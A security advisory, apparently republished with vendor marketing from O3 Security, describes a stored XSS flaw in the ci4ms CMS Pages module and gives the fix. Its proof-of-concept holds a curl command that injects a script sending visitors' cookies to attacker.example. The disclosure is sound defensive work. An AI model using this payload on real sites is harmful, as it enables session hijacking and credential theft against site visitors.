GHSA-fjpj-6qcq-6pw2
MEDIUMGHSA-fjpj-6qcq-6pw2 is a medium-severity (CVSS 5.5) Cross-site Scripting (XSS) vulnerability in ci4-cms-erp/ci4ms. O3 Security confirms whether GHSA-fjpj-6qcq-6pw2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Pages module does not apply the html_purify validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via echo $pageInfo->content. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.
Details
The Blog module correctly applies HTMLPurifier sanitization to content fields:
modules/Blog/Controllers/Blog.php:82
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
The Pages module omits this rule in both create and update methods:
modules/Pages/Controllers/Pages.php:82 (create)
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
modules/Pages/Controllers/Pages.php:130 (update)
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
Content is stored directly without sanitization:
modules/Pages/Controllers/Pages.php:111 (create path)
'content' => $lData['content'],
modules/Pages/Controllers/Pages.php:157 (update path)
'content' => $lData['content'],
On the public frontend, the content is rendered as raw HTML without escaping:
app/Views/templates/default/pages.php:32
<?php echo $pageInfo->content ?>
Note that the same template correctly escapes the title field on line 9 using esc($pageInfo->title), further confirming the content output is an oversight.
The html_purify custom validation rule is defined in modules/Backend/Validation/CustomRules.php:54-73 and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.
PoC
Step 1: Create a page with XSS payload (requires admin session)
curl -X POST https://target/backend/pages/create \
-b 'ci_session=ADMIN_SESSION_COOKIE' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'
Step 2: Visit the page as any unauthenticated user
https://target/tr/test-xss-page
Expected result: The <script> tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.
Impact
- Session hijacking: Attacker steals session cookies of any visitor, including other administrators
- Credential theft: Injected JavaScript can render fake login forms or keylog credentials
- Site defacement: Arbitrary HTML/JS can modify the public-facing page for all visitors
- Malware distribution: Injected scripts can redirect visitors or load external payloads
The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.
Recommended Fix
Add the html_purify validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:
modules/Pages/Controllers/Pages.php:82 — change:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
to:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
modules/Pages/Controllers/Pages.php:130 — apply the same change:
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
Additionally, as defense-in-depth, escape content output in the view template or use the existing esc() helper with the 'raw' context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | all versions | 0.31.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ci4-cms-erp/ci4ms to 0.31.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fjpj-6qcq-6pw2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fjpj-6qcq-6pw2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fjpj-6qcq-6pw2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fjpj-6qcq-6pw2 in your dependencies?
O3 detects GHSA-fjpj-6qcq-6pw2 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.